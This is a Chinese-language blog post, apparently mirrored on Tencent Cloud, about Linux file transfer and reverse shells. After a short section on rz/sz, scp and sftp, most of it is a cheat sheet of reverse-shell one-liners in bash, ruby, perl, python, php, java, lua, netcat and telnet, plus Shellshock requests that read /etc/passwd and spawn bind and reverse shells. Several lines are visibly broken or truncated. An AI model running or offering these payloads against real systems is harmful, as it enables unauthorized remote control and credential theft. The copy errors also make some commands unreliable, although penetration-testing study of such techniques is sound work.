前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Linux下终端实现文件上传与反弹

Linux下终端实现文件上传与反弹

作者头像
全栈工程师修炼指南
发布2022-09-29 14:16:49
2.2K0
发布2022-09-29 14:16:49
举报
文章被收录于专栏:全栈工程师修炼之路

注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。。

[TOC]

文件上传下载
(1) rz/sz 命令

描述:Debian里Kail中上传rz命令和下载sz命令可能需要专门的SSH连接工具才能使用;

代码语言:javascript
复制
sz 文件名.txt           #下载的文件
rz c:\filename.txt     #上传windows下会弹出选择框让您选择文件
(2) scp 命令

描述:scp依赖于ssh通道进行文件上传和下载

代码语言:javascript
复制
#上传到远程
scp localfile.txt root@RemoteHost:/tmp/upfile.txt

#下载到本地
scp root@RemoteHost:/tmp/remotefile.txt D:\Downloadfile.txt
(3) sftp 命令

描述:sftp(SSH File Transfer Protocol-安全文件传送协议)也是依赖于SSH是它的一部分;采用sftp命令来登录sshd服务进行文件上传下载,可以看作是ftp服务的升级版本,它与 ftp 有着几乎一样的语法和功能。

语法参数:

代码语言:javascript
复制
# 语法参数
usage: sftp [-46aCfpqrv] [-B buffer_size] [-b batchfile] [-c cipher]
    [-D sftp_server_path] [-F ssh_config] [-i identity_file] [-l limit]
    [-o ssh_option] [-P port] [-R num_requests] [-S program]
    [-s subsystem | sftp_server] host

# 链接格式
sftp [user@]host[:file ...]
sftp [user@]host[:dir[/]]
sftp -b batchfile [user@]host
# - 登录
sftp -o port=1000 username@remote ip
# - 上传
put /path/filename(本地主机) /path/filename(远端主机)
# - 下载
get /path/filename(远端主机) /path/filename(本地主机)

命令示例:

1) 交换式命令使用说明

代码语言:javascript
复制
# 示例1.采用密匙来登录到指定的sftp服务器上并下载文件或目录到本地
sftp -P 2222 -i /root/.ssh/id_rsa sftpuser@192.168.1.215
# 下载sftp服务中index.php文件到本地
sftp> get /var/www/html/index.php /tmp/
# 下载sftp服务中dir1目录及其子目录文件到本地
sftp> get -r /remote/dir1 .
# 上传本地文件到sftp服务器之中
sftp> put /tmp/weiyigeek.pdf /var/www/html/

常用反弹脚本

描述:在渗透测试中常常需要进行反弹Shell来证明该漏洞的危害,所以再Linux/Windows(不单独罗列了)中出现以下的方式方法 测试环境:

代码语言:javascript
复制
AttackIP:Kail  192.168.200.252
ClientIP:Centos 192.168.200.200
BASH反弹Shell

方式1:

代码语言:javascript
复制
/bin/bash -i >& /dev/tcp/10.24.87.54/4444 0>&1   #Client
nc -lvvp 4433  #Attack

WeiyiGeek.

方式2:采用文件描述符绑定反弹shell

代码语言:javascript
复制
/bin/bash -i > /dev/tcp/10.2.10.16/4444 0<&1 2>&1
0<&196;exec 196<>/dev/tcp/192.168.200.252/4444; sh <&196 >&196 2>&196

WeiyiGeek.

方式3

代码语言:javascript
复制
exec 5<>/dev/tcp/192.168.200.252/4444
# or:
exec 5<>/dev/tcp/192.168.200.252/4444 ; while read line 0<&5; do $line 2>&5 >&5; done

WeiyiGeek.

方式4

代码语言:javascript
复制
Hacker: nc -nvlp 4444
Victim: /bin/bash -i > /dev/tcp/192.168.200.252/4444 0<&1 2>&1

#可使用metasploit来获取shell
msfconsle
use exploit/multi/handler
ruby反弹shell
代码语言:javascript
复制
ruby -rsocket -e 'f=TCPSocket.open("192.168.200.200","4444").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'   #可将sh->bash

补充:未复现成功

perl反弹shell
代码语言:javascript
复制
perl -e 'use Socket;$i="10.24.87.54";$p=14444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
Python反弹Shell
代码语言:javascript
复制
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.24.87.54",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c 'import pty;pty.spawn("/bin/sh")'   #可以在低权限用来sudo 获取高级权限

WeiyiGeek.

PHP反弹Shell
代码语言:javascript
复制
php -r '$sock=fsockopen("192.168.200.252",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

WeiyiGeek.

JAVA反弹Shell

描述:未能复现

代码语言:javascript
复制
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.200.252/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Go反弹Shell
LUA反弹Shell

描述:需要安装-未能复现

代码语言:javascript
复制
lua5.3 -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.200.200','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"
NC命令反弹Shell

方式1

代码语言:javascript
复制
#反向连接
nc -e /bin/sh 192.168.200.252 4444  #Client
nc -lvvp 4444 #Attack

#反向连接
mknod /tmp/backpipe p && /bin/sh 0</tmp/back pipe | nc 192.168.200.254 4444 1>/tmp/backpipe
nc -lvnp 4444  #Attack

WeiyiGeek.

方式2

代码语言:javascript
复制
#Client端
# 如果 -e 参数被禁用,可以尝试以下命令
rm -f /tmp/p; mknod /tmp/p p && nc 192.168.200.252 4443 0</tmp/
# 如果你安装错了 netcat 的版本,请尝试以下命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.200.252 4444>/tmp/f

#Attacker
nc -lvnp 4444
telnet命令反弹shell

方式1 描述:攻击端需要监听两个端口,一个4444端口执行命令另一个8888端口接受执行命令后的结果;

代码语言:javascript
复制
Hacker: nc -nvlp 4444
Hacker: nc -nvlp 8888
Victim: telnet 192.168.200.252 4444 | /bin/bash | telnet 192.168.200.252 8888

WeiyiGeek.

方式2: 描述:如果 netcat 不可用或者 /dev/tcp

代码语言:javascript
复制
mknod /tmp/backpipe p && telnet 192.168.200.252 4444 0</tmp/backpipe | /bin/bash 1>/tmp/backpipe
#mknod a p; telnet x.x.x.x 2222 0<a | /bin/bash 1>a

WeiyiGeek.

Shellshock方式反弹shell
代码语言:javascript
复制
# 一个发现并利用服务器 Shellshock 的工具
./shocker.py -H 192.168.1.1  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
# 查看文件
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80
 
# 绑定 shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80
 
# 反弹 Shell
$ nc -l -p 443
$ echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-08-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 文件上传下载
    • (1) rz/sz 命令
      • (2) scp 命令
        • (3) sftp 命令
        • 常用反弹脚本
          • BASH反弹Shell
            • ruby反弹shell
              • perl反弹shell
                • Python反弹Shell
                  • PHP反弹Shell
                    • JAVA反弹Shell
                      • Go反弹Shell
                        • LUA反弹Shell
                          • NC命令反弹Shell
                            • telnet命令反弹shell
                              • Shellshock方式反弹shell
                              相关产品与服务
                              云服务器
                              云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
                              领券
                              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档